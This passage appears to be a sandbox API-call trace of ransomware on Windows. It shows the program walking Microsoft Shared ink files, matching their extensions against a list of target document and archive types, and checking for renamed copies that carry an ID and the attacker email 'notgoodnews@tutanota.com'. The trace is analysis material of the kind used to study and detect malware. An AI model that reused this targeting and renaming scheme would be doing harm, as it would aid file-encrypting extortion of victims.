-1 [0201.000] lstrlenW (lpString=".7z") returned 3 [0201.000] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.000] lstrlenW (lpString=".dbf") returned 4 [0201.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.001] lstrlenW (lpString=".1cd") returned 4 [0201.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0201.001] lstrlenW (lpString=".jpg") returned 4 [0201.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.001] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0201.002] lstrlenW (lpString="zh-dayi.xml") returned 11 [0201.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0201.002] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=11067) returned 1 [0201.002] CloseHandle (hObject=0x2a0) returned 1 [0201.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0201.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.003] lstrlenW (lpString=".doc") returned 4 [0201.004] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.004] lstrlenW (lpString=".docx") returned 5 [0201.004] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0201.004] lstrlenW (lpString=".pdf") returned 4 [0201.004] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.004] lstrlenW (lpString=".xls") returned 4 [0201.004] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.004] lstrlenW (lpString=".xlsx") returned 5 [0201.004] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0201.004] lstrlenW (lpString=".ppt") returned 4 [0201.004] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.004] lstrlenW (lpString=".zip") returned 4 [0201.005] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.005] lstrlenW (lpString=".rar") returned 4 [0201.005] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.005] lstrlenW (lpString=".bz2") returned 4 [0201.005] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.005] lstrlenW (lpString=".7z") returned 3 [0201.005] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.005] lstrlenW (lpString=".dbf") returned 4 [0201.005] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.005] lstrlenW (lpString=".1cd") returned 4 [0201.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.006] lstrlenW (lpString=".jpg") returned 4 [0201.006] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.006] lstrlenW (lpString=".doc") returned 4 [0201.006] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.006] lstrlenW (lpString=".docx") returned 5 [0201.006] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0201.006] lstrlenW (lpString=".pdf") returned 4 [0201.006] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.006] lstrlenW (lpString=".xls") returned 4 [0201.007] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.007] lstrlenW (lpString=".xlsx") returned 5 [0201.007] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0201.007] lstrlenW (lpString=".ppt") returned 4 [0201.007] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.007] lstrlenW (lpString=".zip") returned 4 [0201.007] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.007] lstrlenW (lpString=".rar") returned 4 [0201.007] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.007] lstrlenW (lpString=".bz2") returned 4 [0201.007] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.008] lstrlenW (lpString=".7z") returned 3 [0201.008] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.008] lstrlenW (lpString=".dbf") returned 4 [0201.008] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.008] lstrlenW (lpString=".1cd") returned 4 [0201.008] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0201.008] lstrlenW (lpString=".jpg") returned 4 [0201.008] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.623] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0201.624] lstrlenW (lpString="hwrenclm.dat") returned 12 [0201.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.368] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=815680) returned 1 [0206.369] CloseHandle (hObject=0x308) returned 1 [0206.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0206.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0206.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.370] lstrlenW (lpString=".doc") returned 4 [0206.370] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.370] lstrlenW (lpString=".docx") returned 5 [0206.370] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0206.370] lstrlenW (lpString=".pdf") returned 4 [0206.370] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.370] lstrlenW (lpString=".xls") returned 4 [0206.370] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.370] lstrlenW (lpString=".xlsx") returned 5 [0206.370] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0206.370] lstrlenW (lpString=".ppt") returned 4 [0206.370] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.370] lstrlenW (lpString=".zip") returned 4 [0206.371] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.371] lstrlenW (lpString=".rar") returned 4 [0206.371] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.371] lstrlenW (lpString=".bz2") returned 4 [0206.371] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.371] lstrlenW (lpString=".7z") returned 3 [0206.371] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.371] lstrlenW (lpString=".dbf") returned 4 [0206.371] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.371] lstrlenW (lpString=".1cd") returned 4 [0206.371] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.372] lstrlenW (lpString=".jpg") returned 4 [0206.372] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.372] lstrlenW (lpString=".doc") returned 4 [0206.372] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.372] lstrlenW (lpString=".docx") returned 5 [0206.372] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0206.372] lstrlenW (lpString=".pdf") returned 4 [0206.372] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.373] lstrlenW (lpString=".xls") returned 4 [0206.373] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.373] lstrlenW (lpString=".xlsx") returned 5 [0206.373] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0206.373] lstrlenW (lpString=".ppt") returned 4 [0206.373] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.373] lstrlenW (lpString=".zip") returned 4 [0206.373] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.373] lstrlenW (lpString=".rar") returned 4 [0206.373] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.373] lstrlenW (lpString=".bz2") returned 4 [0206.373] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.373] lstrlenW (lpString=".7z") returned 3 [0206.373] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.374] lstrlenW (lpString=".dbf") returned 4 [0206.374] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.374] lstrlenW (lpString=".1cd") returned 4 [0206.374] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0206.374] lstrlenW (lpString=".jpg") returned 4 [0206.374] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.375] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0206.375] lstrlenW (lpString="ipscht.xml") returned 10 [0206.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.883] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2436) returned 1 [0207.884] CloseHandle (hObject=0x288) returned 1 [0207.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0207.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.885] lstrlenW (lpString=".doc") returned 4 [0207.885] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.885] lstrlenW (lpString=".docx") returned 5 [0207.885] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0207.885] lstrlenW (lpString=".pdf") returned 4 [0207.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.885] lstrlenW (lpString=".xls") returned 4 [0207.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.885] lstrlenW (lpString=".xlsx") returned 5 [0207.885] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0207.886] lstrlenW (lpString=".ppt") returned 4 [0207.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.886] lstrlenW (lpString=".zip") returned 4 [0207.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.886] lstrlenW (lpString=".rar") returned 4 [0207.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.886] lstrlenW (lpString=".bz2") returned 4 [0207.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.886] lstrlenW (lpString=".7z") returned 3 [0207.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.887] lstrlenW (lpString=".dbf") returned 4 [0207.887] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.887] lstrlenW (lpString=".1cd") returned 4 [0207.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.887] lstrlenW (lpString=".jpg") returned 4 [0207.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.887] lstrlenW (lpString=".doc") returned 4 [0207.888] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.888] lstrlenW (lpString=".docx") returned 5 [0207.888] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0207.888] lstrlenW (lpString=".pdf") returned 4 [0207.888] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.888] lstrlenW (lpString=".xls") returned 4 [0207.888] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.889] lstrlenW (lpString=".xlsx") returned 5 [0207.889] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0207.889] lstrlenW (lpString=".ppt") returned 4 [0207.889] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.890] lstrlenW (lpString=".zip") returned 4 [0207.890] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.890] lstrlenW (lpString=".rar") returned 4 [0207.890] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.890] lstrlenW (lpString=".bz2") returned 4 [0207.890] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.890] lstrlenW (lpString=".7z") returned 3 [0207.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.890] lstrlenW (lpString=".dbf") returned 4 [0207.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.890] lstrlenW (lpString=".1cd") returned 4 [0207.891] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0207.891] lstrlenW (lpString=".jpg") returned 4 [0207.891] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.892] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0207.892] lstrlenW (lpString="ipsdan.xml") returned 10 [0207.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.892] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2514) returned 1 [0207.893] CloseHandle (hObject=0x288) returned 1 [0207.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0207.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.894] lstrlenW (lpString=".doc") returned 4 [0207.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.894] lstrlenW (lpString=".docx") returned 5 [0207.894] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.894] lstrlenW (lpString=".pdf") returned 4 [0207.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.894] lstrlenW (lpString=".xls") returned 4 [0207.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.894] lstrlenW (lpString=".xlsx") returned 5 [0207.894] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.894] lstrlenW (lpString=".ppt") returned 4 [0207.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.894] lstrlenW (lpString=".zip") returned 4 [0207.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.895] lstrlenW (lpString=".rar") returned 4 [0207.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.895] lstrlenW (lpString=".bz2") returned 4 [0207.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.895] lstrlenW (lpString=".7z") returned 3 [0207.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.895] lstrlenW (lpString=".dbf") returned 4 [0207.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.895] lstrlenW (lpString=".1cd") returned 4 [0207.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.896] lstrlenW (lpString=".jpg") returned 4 [0207.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.896] lstrlenW (lpString=".doc") returned 4 [0207.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.896] lstrlenW (lpString=".docx") returned 5 [0207.896] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.897] lstrlenW (lpString=".pdf") returned 4 [0207.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.897] lstrlenW (lpString=".xls") returned 4 [0207.897] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.897] lstrlenW (lpString=".xlsx") returned 5 [0207.897] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.897] lstrlenW (lpString=".ppt") returned 4 [0207.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.897] lstrlenW (lpString=".zip") returned 4 [0207.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.897] lstrlenW (lpString=".rar") returned 4 [0207.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.898] lstrlenW (lpString=".bz2") returned 4 [0207.898] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.898] lstrlenW (lpString=".7z") returned 3 [0207.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.898] lstrlenW (lpString=".dbf") returned 4 [0207.898] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.898] lstrlenW (lpString=".1cd") returned 4 [0207.898] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0207.898] lstrlenW (lpString=".jpg") returned 4 [0207.898] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.899] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0207.899] lstrlenW (lpString="ipsdeu.xml") returned 10 [0207.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.900] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2616) returned 1 [0207.900] CloseHandle (hObject=0x288) returned 1 [0207.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0207.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.901] lstrlenW (lpString=".doc") returned 4 [0207.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.901] lstrlenW (lpString=".docx") returned 5 [0207.901] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0207.901] lstrlenW (lpString=".pdf") returned 4 [0207.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.901] lstrlenW (lpString=".xls") returned 4 [0207.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.901] lstrlenW (lpString=".xlsx") 